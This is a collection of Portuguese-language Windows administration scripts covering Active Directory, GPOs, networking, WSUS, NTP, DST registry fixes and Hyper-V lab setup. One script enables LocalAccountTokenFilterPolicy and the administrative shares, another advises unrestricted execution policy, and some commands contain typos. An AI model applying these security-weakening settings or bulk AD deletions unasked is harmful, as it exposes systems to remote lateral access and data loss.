Excluir um único computador 121 | Remove-ADComputer -Identity "USER04-SRV4" 122 | 123 | # Excluir uma lista de contas de computador 124 | # Adicione os nomes de host a um arquivo de texto e execute o comando abaixo. 125 | Get-Content -Path C:ComputerList.txt | Remove-ADComputer 126 | 127 | # Excluir computadores de uma UO 128 | Get-ADComputer -SearchBase "OU=DN" -Filter * | Remote-ADComputer 129 | 130 | # Seção Política de Grupo 131 | # Obter todos os comandos relacionados ao GPO 132 | get-command -Module grouppolicy 133 | 134 | # Obter todos os GPOs por status 135 | get-GPO -all | select DisplayName, gpostatus 136 | 137 | # Faça backup de todos os GPOs no domínio 138 | Backup-Gpo -All -Path E:GPObackup 139 | -------------------------------------------------------------------------------- /ConfigAuditoriaDePastas: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Configura auditoria de pastas # 3 | ################################################# 4 | 5 | $folders = "E:\" 6 | $User = "Everyone" 7 | $Rules = "Delete,DeleteSubdirectoriesAndFiles,ChangePermissions" 8 | $InheritType = "ContainerInherit,ObjectInherit" 9 | $AuditType = "Success" 10 | $hostn = hostname 11 | foreach($folder in $folders) 12 | { 13 | try 14 | { 15 | $ACL = $folder | Get-Acl -Audit -ErrorAction Stop 16 | 17 | $AccessRule = New-Object System.Security.AccessControl.FileSystemAuditRule($user,$Rules,$InheritType,"None",$AuditType) 18 | $ACL.SetAuditRule($AccessRule) 19 | $ACL | Set-Acl $Folder -ErrorAction Stop 20 | write-host "Setting Audit Rules on $folder" 21 | } 22 | catch 23 | { 24 | Write-Error -ErrorRecord $_ 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /ConfigEnderecosIpMultiplosServerCore: -------------------------------------------------------------------------------- 1 | ############################################################### 2 | # CONFIGURAR VÁRIOS IPs EM UMA MESMA NIC POR LINHA DE COMANDO # 3 | ############################################################### 4 | 5 | FOR /L %A IN (1,1,10) DO netsh interface ipv4 add address "Ethernet" 192.168.%A.7 255.255.255.0 6 | 7 | # Use o FOR para essa atividade 8 | # %A - Deve substituir a parte do endereço que será acrescido 9 | # (1,1,10) - Aqui estou dizendo que o primeiro endereço começa em 1, indo de 1 em 1 até 10 10 | # Este script atribui os endereços 192.168.1.7 até 192.168.10.7 - note que adicionei endereços de final 7 nas sub-redes 1 até 10 11 | -------------------------------------------------------------------------------- /ConfigRedePowershell: -------------------------------------------------------------------------------- 1 | # Alterando configurações de rede cabeada 2 | 3 | # Declaração de variáveis 4 | $nic = Get-NetIPConfiguration # adiciona as informações de configuração a uma variável 5 | $DigiteIP = Read-Host "Digite o endereço IP que deseja atribuir" 6 | $DigiteDNS = Read-Host "Digite o endereço de DNS primario que deseja atribuir" 7 | $GW1 = Read-Host "Digite o endereço de gateway que desenha atribuir" 8 | 9 | # Execução de configuração para IP fixo 10 | New-NetIPAddress $DigiteIP -InterfaceAlias Ethernet -DefaultGateway $GW1 -AddressFamily IPV4 -PrefixLength 24 11 | Set-DnsClientServerAddress -InterfaceAlias Ethernet -ServerAddresses $DigiteDNS 12 | 13 | # Configuração por DHCP 14 | Set-NetIPInterface -InterfaceAlias Ethernet -Dhcp -Enable 15 | Set-DnsClientServerAddress -InterfaceAlias Ethernet -ResetServerAddresses 16 | 17 | #Adicionar maquina no domínio 18 | Add-Computer -ComputerName Client02 -DomainName "dominio.local" 19 | -------------------------------------------------------------------------------- /ConfiguracoesPowershell: -------------------------------------------------------------------------------- 1 | # Verifica se admin$ está liberado 2 | $admin = Test-Path "\\$env:COMPUTERNAME\admin$" 3 | $c = Test-Path "\\$env:COMPUTERNAME\C$" 4 | If($admin -like "False" -or $c -like "False"){​​ 5 | 6 | 7 | 8 | # Verifica LocalAccountTokenFilterPolicy no Registro do Windows 9 | $registro = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system" 10 | $nome = "LocalAccountTokenFilterPolicy" 11 | $valor = "1" 12 | 13 | 14 | 15 | $LocalAccountTokenFilterPolicy = Get-ItemProperty -Path $registro -Name $nome -ErrorAction SilentlyContinue 16 | 17 | 18 | 19 | # Cria o registro LocalAccountTokenFilterPolicy se não existir e o habilita 20 | If ($LocalAccountTokenFilterPolicy -like $null){​​ 21 | New-ItemProperty -Path $registro -Name $nome -Value $valor -PropertyType DWORD -Force}​​ 22 | If ($LocalAccountTokenFilterPolicy.LocalAccountTokenFilterPolicy -eq 0){​​ 23 | Set-ItemProperty -Path $registro -Name $nome -Value $valor -Force}​​ 24 | 25 | 26 | 27 | # Verifica AutoShareWks no Registro do Windows 28 | $registro = "HKLM:\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters" 29 | $nome = "AutoShareWks" 30 | $valor = "1" 31 | $AutoShareWks = Get-ItemProperty -Path $registro -Name $nome -ErrorAction SilentlyContinue 32 | 33 | 34 | 35 | # Cria o registro AutoShareWks se não existir e o habilita 36 | If ($AutoShareWks -like $null){​​ 37 | New-ItemProperty -Path $registro -Name $nome -Value $valor -PropertyType DWORD -Force}​​ 38 | If ($AutoShareWks.AutoSharewks -eq 0){​​ 39 | Set-ItemProperty -Path $registro -Name $nome -Value $valor -Force}​​ 40 | 41 | 42 | 43 | # Reinicia o serviço para liberar os shares administrativos 44 | Restart-Service Server -Force -Confirm:$True 45 | }​​ 46 | -------------------------------------------------------------------------------- /ConfigurarPlacaDeRede: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Configura a ETH # 3 | ################################################# 4 | 5 | $NIC = "GERENCIA" 6 | $IP_ADDR = "10.210.35.22" 7 | $GW = "10.210.35.1" 8 | $CDIR = "24" 9 | $DNS = ("10.210.35.5","") 10 | 11 | netsh interface show interface 12 | Get-NetAdapter | where status -eq Up | Rename-NetAdapter -NewName $NIC 13 | Disable-NetAdapterBinding -InterfaceAlias $NIC -ComponentID ms_tcpip6 14 | New-NetIPAddress –IPAddress $IP_ADDR -DefaultGateway $GW -PrefixLength $CDIR -InterfaceIndex (Get-NetAdapter).InterfaceIndex 15 | Set-DNSClientServerAddress –InterfaceIndex (Get-NetAdapter).InterfaceIndex –ServerAddresses $DNS 16 | 17 | REG ADD "HKLM\Software\policies\Microsoft\Windows NT\DNSClient" 18 | REG ADD "HKLM\Software\policies\Microsoft\Windows NT\DNSClient" /v " EnableMulticast" /t REG_DWORD /d "0" /f 19 | 20 | # OldConfig 21 | # netsh interface ipv4 set address name="GERENCIA" static 172.19.76.7 255.255.255.0 172.19.76.1 22 | # netsh interface ipv4 set dns name="GERENCIA" static 8.8.8.8 23 | 24 | # Habilitar o TOv2 IPsec 25 | # Enable-NetAdapterIPsecOffload $NIC 26 | -------------------------------------------------------------------------------- /ConfigurarServidorNTP: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Configurar servidor NTP # 3 | ################################################# 4 | 5 | reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters" /v ServiceDllUnloadOnStop /t REG_DWORD /d 1 /f 6 | reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters" /v ServiceMain /t REG_SZ /d SvchostEntry_W32Time /f 7 | reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters" /v NtpServer /t REG_SZ /d 172.16.50.10,172.16.50.11,172.16.50.12,172.16.50.13 /f 8 | reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters" /v Type /t REG_SZ /d NTP /f 9 | reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d %systemroot%\system32\w32time.dll /f 10 | -------------------------------------------------------------------------------- /ConfigureWSUS-ToScript: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Configuração do WSUS # 3 | ################################################# 4 | 5 | reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v AccountDomainSid /f 6 | reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v PingID /f 7 | reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v SusClientId /f 8 | 9 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer /t REG_SZ /d http://172.40.40.70:8530 /f 10 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUStatusServer /t REG_SZ /d http://172.40.40.70:8530 /f 11 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v TargetGroupEnabled /t REG_DWORD /d 1 /f 12 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v TargetGroup /t REG_SZ /d EMS /f 13 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v ElevateNonAdmins /t REG_DWORD /d 0 /f 14 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 0 /f 15 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AUOptions /t REG_DWORD /d 3 /f 16 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallDay /t REG_DWORD /d 0 /f 17 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallTime /t REG_DWORD /d 3 /f 18 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer /t REG_DWORD /d 1 /f 19 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v RescheduleWaitTimeEnabled /t REG_DWORD /d 1 /f 20 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v RescheduleWaitTime /t REG_DWORD /d 2 /f 21 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoRebootWithLoggedOnUsers /t REG_DWORD /d 1 /f 22 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v DetectionFrequencyEnabled /t REG_DWORD /d 1 /f 23 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v DetectionFrequency /t REG_DWORD /d 5 /f 24 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AutoInstallMinorUpdates /t REG_DWORD /d 0 /f 25 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v RebootWarningTimeoutEnabled /t REG_DWORD /d 1 /f 26 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v RebootWarningTimeout /t REG_DWORD /d 1e /f 27 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v RebootRelaunchTimeoutEnabled /t REG_DWORD /d 1 /f 28 | reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v RebootRelaunchTimeout /t REG_DWORD /d 1e /f 29 | 30 | sc.exe config w32time start= auto 31 | sc.exe config BITS start= demand 32 | sc.exe config wuauserv start= auto 33 | 34 | net.exe stop w32time /y 35 | net.exe start w32time 36 | 37 | net.exe stop BITS /y 38 | net.exe start BITS 39 | 40 | net.exe stop wuauserv /y 41 | net.exe start wuauserv 42 | 43 | wuauclt.exe /resetauthorization 44 | wuauclt.exe /detectnow 45 | wuauclt.exe /downloadnow 46 | wuauclt.exe /reportnow 47 | -------------------------------------------------------------------------------- /CopiaBitABit: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Cópia bit a bit # 3 | ################################################# 4 | 5 | Import-Module BitsTransfer 6 | # Transferência de arquivos síncrona 7 | Start-BitsTransfer –source origem -destination destino 8 | # Transferência de arquivos assíncrona 9 | Start-BitsTransfer –source origem -destination destino -asynchronous 10 | Get-BitsTransfer | Complete-BitsTransfer 11 | # Transferência com autenticação de usuário 12 | Start-BitsTransfer –source origem -destination destino -Authentication NTLM -Credential Get-Credential 13 | # Definir a prioridade da transferência 14 | Start-BitsTransfer –source origem -destination destino -Priority low 15 | # Verificar o status da transferência 16 | Get-BitsTransfer | select DisplayName, BytesTotal, BytesTransferred, JobState | Format-Table -AutoSize 17 | -------------------------------------------------------------------------------- /CorrecaoHorarioDeVerao: -------------------------------------------------------------------------------- 1 | Windows Registry Editor Version 5.00 2 | 3 | [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. South America Standard Time] 4 | "MUI_Display"="@tzres.dll,-40" 5 | "TZI"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,00,00,03,00,17,00,3b,\ 6 | 00,3b,00,e7,03,00,00,01,00,02,00,01,00,00,00,00,00,00,00,00,00 7 | "Std"="E. South America Standard Time" 8 | "MUI_Std"="@tzres.dll,-42" 9 | "Dlt"="E. South America Daylight Time" 10 | "MUI_Dlt"="@tzres.dll,-41" 11 | "Display"="(UTC-03:00) Brasilia" 12 | 13 | [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\E. South America Standard Time\Dynamic DST] 14 | "LastEntry"=dword:000007e4 15 | "2020"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,00,00,00,00,00,00,00,00,\ 16 | 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 17 | "2010"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 18 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 19 | "2011"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 20 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 21 | "FirstEntry"=dword:000007d4 22 | "2012"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,04,00,17,00,\ 23 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 24 | "2013"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 25 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 26 | "2014"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 27 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 28 | "2015"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 29 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 30 | "2016"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 31 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 32 | "2017"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 33 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,02,00,17,00,3b,00,3b,00,e7,03 34 | "2006"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 35 | 3b,00,3b,00,e7,03,00,00,0b,00,00,00,01,00,00,00,00,00,00,00,00,00 36 | "2018"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 37 | 3b,00,3b,00,e7,03,00,00,0b,00,06,00,01,00,17,00,3b,00,3b,00,e7,03 38 | "2007"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,05,00,17,00,\ 39 | 3b,00,3b,00,e7,03,00,00,0a,00,00,00,02,00,00,00,00,00,00,00,00,00 40 | "2019"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,00,00,03,00,17,00,\ 41 | 3b,00,3b,00,e7,03,00,00,01,00,02,00,01,00,00,00,00,00,00,00,00,00 42 | "2008"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 43 | 3b,00,3b,00,e7,03,00,00,0a,00,00,00,03,00,00,00,00,00,00,00,00,00 44 | "2009"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,02,00,17,00,\ 45 | 3b,00,3b,00,e7,03,00,00,0a,00,06,00,03,00,17,00,3b,00,3b,00,e7,03 46 | "2004"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,02,00,17,00,\ 47 | 3b,00,3b,00,e7,03,00,00,0b,00,02,00,01,00,00,00,00,00,00,00,00,00 48 | "2005"=hex:b4,00,00,00,00,00,00,00,c4,ff,ff,ff,00,00,02,00,06,00,03,00,17,00,\ 49 | 3b,00,3b,00,e7,03,00,00,0a,00,00,00,03,00,00,00,00,00,00,00,00,00 50 | 51 | 52 | # Item 02 53 | 54 | Windows Registry Editor Version 5.00 55 | 56 | [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation] 57 | "DaylightBias"=dword:ffffffc4 58 | "DaylightName"="@tzres.dll,-41" 59 | "StandardStart"=hex:00,00,02,00,03,00,17,00,3b,00,3b,00,e7,03,00,00 60 | "StandardBias"=dword:00000000 61 | "StandardName"="@tzres.dll,-42" 62 | "Bias"=dword:000000b4 63 | "DaylightStart"=hex:00,00,01,00,01,00,00,00,00,00,00,00,00,00,02,00 64 | "TimeZoneKeyName"="E. South America Standard Time" 65 | "DynamicDaylightTimeDisabled"=dword:00000000 66 | "ActiveTimeBias"=dword:000000b4 67 | -------------------------------------------------------------------------------- /CorrigirRelacaoDeConfianca: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Corrigir relação de confiança # 3 | ################################################# 4 | 5 | Test-ComputerSecureChannel -credential \ -Repair 6 | -------------------------------------------------------------------------------- /CriaoregistroAutoShareWks: -------------------------------------------------------------------------------- 1 | # Cria o registro AutoShareWks se não existir e o habilita 2 | If ($AutoShareWks -like $null){​​ 3 | New-ItemProperty -Path $registro -Name $nome -Value $valor -PropertyType DWORD -Force}​​ 4 | If ($AutoShareWks.AutoSharewks -eq 0){​​ 5 | Set-ItemProperty -Path $registro -Name $nome -Value $valor -Force}​​ 6 | -------------------------------------------------------------------------------- /Criar-Estrutura-AD-01: -------------------------------------------------------------------------------- 1 | # Cria a Unidade Organizacional 01-EMPRESA 2 | New-ADOrganizationalUnit -Name "01-EMPRESA" -Path "DC=popovici,DC=lab" -Description "Unidade Organizacional para a Empresa" 3 | 4 | # Cria a Unidade Organizacional 02-FILIAIS 5 | New-ADOrganizationalUnit -Name "02-FILIAIS" -Path "DC=popovici,DC=lab" -Description "Unidade Organizacional para Filiais" 6 | 7 | # Cria a Unidade Organizacional 03-SUCURSAIS 8 | New-ADOrganizationalUnit -Name "03-SUCURSAIS" -Path "DC=popovici,DC=lab" -Description "Unidade Organizacional para Sucursais" 9 | 10 | # Cria a Unidade Organizacional 04-EntraIDSync 11 | New-ADOrganizationalUnit -Name "04-EntraIDSync" -Path "DC=popovici,DC=lab" -Description "Unidade Organizacional para EntraIDSync" 12 | 13 | # Cria as OUs internas dentro de 01-EMPRESA 14 | New-ADOrganizationalUnit -Name "Departamentos" -Path "OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Departamentos" 15 | New-ADOrganizationalUnit -Name "Servidores" -Path "OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Servidores" 16 | New-ADOrganizationalUnit -Name "Terceiros" -Path "OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Terceiros" 17 | New-ADOrganizationalUnit -Name "Aplicacoes" -Path "OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Aplicações" 18 | 19 | # Cria as OUs dentro de Servidores 20 | New-ADOrganizationalUnit -Name "Servidor de Arquivos" -Path "OU=Servidores,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Servidores de Arquivos" 21 | New-ADOrganizationalUnit -Name "Servidores de Aplicacao" -Path "OU=Servidores,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Servidores de Aplicação" 22 | New-ADOrganizationalUnit -Name "Servidores de Bancos de Dados" -Path "OU=Servidores,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Servidores de Bancos de Dados" 23 | 24 | # Cria as OUs dentro de Departamentos 25 | New-ADOrganizationalUnit -Name "TI" -Path "OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de TI" 26 | New-ADOrganizationalUnit -Name "RH" -Path "OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de RH" 27 | New-ADOrganizationalUnit -Name "COMPRAS" -Path "OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Compras" 28 | New-ADOrganizationalUnit -Name "COMERCIAL" -Path "OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional Comercial" 29 | New-ADOrganizationalUnit -Name "ENGENHARIA" -Path "OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Engenharia" 30 | New-ADOrganizationalUnit -Name "JURIDICO" -Path "OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional Jurídico" 31 | 32 | # Cria as OUs dentro de TI 33 | New-ADOrganizationalUnit -Name "N1" -Path "OU=TI,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional N1" 34 | New-ADOrganizationalUnit -Name "N2" -Path "OU=TI,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional N2" 35 | New-ADOrganizationalUnit -Name "Administradores" -Path "OU=TI,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Administradores" 36 | New-ADOrganizationalUnit -Name "Computadores" -Path "OU=TI,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Computadores" 37 | New-ADOrganizationalUnit -Name "Impressoras" -Path "OU=TI,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Impressoras" 38 | 39 | # Cria as OUs dentro de RH, COMPRAS, COMERCIAL, ENGENHARIA e JURIDICO 40 | $ouList = @("RH", "COMPRAS", "COMERCIAL", "ENGENHARIA", "JURIDICO") 41 | foreach ($ou in $ouList) { 42 | New-ADOrganizationalUnit -Name "Computadores" -Path "OU=$ou,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Computadores" 43 | New-ADOrganizationalUnit -Name "Funcionários" -Path "OU=$ou,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Funcionários" 44 | New-ADOrganizationalUnit -Name "Impressoras" -Path "OU=$ou,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Impressoras" 45 | New-ADOrganizationalUnit -Name "Inativos" -Path "OU=$ou,OU=Departamentos,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Inativos" 46 | } 47 | 48 | # Cria as OUs Regras de VPN e Regras do File Server dentro de 01-EMPRESA 49 | New-ADOrganizationalUnit -Name "Regras de VPN" -Path "OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Regras de VPN" 50 | New-ADOrganizationalUnit -Name "Regras do File Server" -Path "OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional para Regras do File Server" 51 | 52 | # Cria os grupos de usuários dentro de Regras do File Server 53 | $gruposFileServer = @( 54 | "LEITURA-COMERCIAL", "LEITURA-COMPRAS", "LEITURA-ENGENHARIA", "LEITURA-JURIDICO", "LEITURA-RH", "LEITURA-TI", 55 | "ESCRITA-COMPRAS", "ESCRITA-ENGENHARIA", "ESCRITA-JURIDICO", "ESCRITA-RH", "ESCRITA-TI" 56 | ) 57 | foreach ($grupo in $gruposFileServer) { 58 | New-ADGroup -Name $grupo -GroupScope Global -GroupCategory Security -Path "OU=Regras do File Server,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Grupo de $grupo" 59 | } 60 | 61 | # Cria os grupos de usuários dentro de Regras de VPN 62 | $gruposVPN = @("VPN-01", "VPN-02", "VPN-03") 63 | foreach ($grupo in $gruposVPN) { 64 | New-ADGroup -Name $grupo -GroupScope Global -GroupCategory Security -Path "OU=Regras de VPN,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Grupo de $grupo" 65 | } 66 | 67 | # Cria as OUs dentro de Terceiros 68 | New-ADOrganizationalUnit -Name "Ativos" -Path "OU=Terceiros,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Terceiros Ativos" 69 | New-ADOrganizationalUnit -Name "Inativos" -Path "OU=Terceiros,OU=01-EMPRESA,DC=popovici,DC=lab" -Description "Unidade Organizacional de Terceiros Inativos" 70 | -------------------------------------------------------------------------------- /CriarAmbienteHyper-V-v1: -------------------------------------------------------------------------------- 1 | ########################################################## 2 | # # 3 | # Script de criação de ambiente de laboratório - HTBRAZ # 4 | # Criador: Eduardo Popovici # 5 | # # 6 | ########################################################## 7 | 8 | # Obs. Os scripts de Powershell são bloqueados por padrão no Windows use o comando Set-ExecutionPolicy Unrestricted para desbloquear antes de executar este script 9 | # Set-ExecutionPolicy Unrestricted 10 | 11 | #Importar módulo Hyper-V 12 | Import-Module Hyper-V 13 | 14 | # Variaveis 15 | # $vm = "NEWVMNAME" 16 | # $SMBShare = "CSV share name" 17 | $CPU1 = 1 18 | $CPU2 = 2 19 | $MEM1 = 1GB 20 | $MEM2 = 2GB 21 | $VlanID1 = 20 22 | $VlanID2 = 30 23 | $VMHD1 = 120GB 24 | $VMHD2 = 80GB 25 | $VMHD3 = 200GB 26 | $Wifi = Get-NetAdapter -Name Wi-Fi 27 | $eth0 = Get-NetAdapter -Name Ethernet 28 | 29 | # Listar os comandos do Hyper-V pelo Powershell - Se sentir dúvidas com os comandos, verifique-os com o Get-Command 30 | # Get-Command –Module Hyper-V 31 | 32 | # Criar Virtual Switch 33 | # New-VMSwitch -Name INTERNET -NetAdapterName $ethernet.Name -AllowManagementOS $true -Notes 'Acesso real, internet e rede LAN usando o cabo' 34 | # New-VMSwitch -Name INTERNET -NetAdapterName $wifi.Name -AllowManagementOS $true -Notes 'Acesso real, internet e rede LAN usando o wifi' 35 | New-VMSwitch -Name HTB01 -SwitchType Private -Notes 'Interno, uso das máquinas do ambiente 01' 36 | New-VMSwitch -Name CLUSTER -SwitchType Private -Notes 'Interno, uso das máquinas do cluster' 37 | New-VMSwitch -Name RELCONF -SwitchType Private -Notes 'Por este Switch montaremos a relação de confiança entre domínios' 38 | New-VMSwitch -Name VPN -SwitchType Private -Notes 'Por este switch vamos montar as conexões de VPN do ambiente' 39 | New-VMSwitch -Name SBRUBLES01 -SwitchType Private -Notes 'Interno, uso das máquinas do ambiente 02' 40 | 41 | # Cria diretório VM-LAB 42 | mkdir c:\VM-LAB 43 | # Cria diretório de imagens 44 | mkdir c:\VM-LAB\ISO 45 | # Criar diretório de discos de Dados 46 | mkdir c:\VM-LAB\Dados 47 | 48 | ################################################ 49 | # # 50 | # Ambiente 01 - MCSA S/A # 51 | # # 52 | ################################################ 53 | 54 | # AD primário mcsa.local 55 | 56 | New-VM –Name SRV01-MCSA -Generation 2 –MemoryStartupBytes $MEM2 -NewVHDPath c:\VM-LAB\SRV01-MCSA.vhdx -NewVHDSizeBytes $VMHD1 | Set-VMMemory -DynamicMemoryEnabled $false | Set-VMProcessor -count $CPU1 57 | Add-VMDvdDrive -VMName SRV01-MCSA 58 | Add-VMNetworkAdapter -VMName SRV01-MCSA 59 | New-VHD -Path c:\VM-LAB\Dados\DADOS01.vhdx -SizeBytes $VMHD2 60 | Add-VMHardDiskDrive -VMName SRV01-MCSA -path c:\VM-LAB\Dados\DADOS01.vhdx 61 | New-VHD -Path c:\VM-LAB\Dados\DADOS02.vhdx -SizeBytes $VMHD2 62 | Add-VMHardDiskDrive -VMName SRV01-MCSA -path c:\VM-LAB\Dados\DADOS02.vhdx 63 | New-VHD -Path c:\VM-LAB\Dados\DADOS03.vhdx -SizeBytes $VMHD2 64 | Add-VMHardDiskDrive -VMName SRV01-MCSA -path c:\VM-LAB\Dados\DADOS03.vhdx 65 | New-VHD -Path c:\VM-LAB\Dados\DADOS04.vhdx -SizeBytes $VMHD2 66 | Add-VMHardDiskDrive -VMName 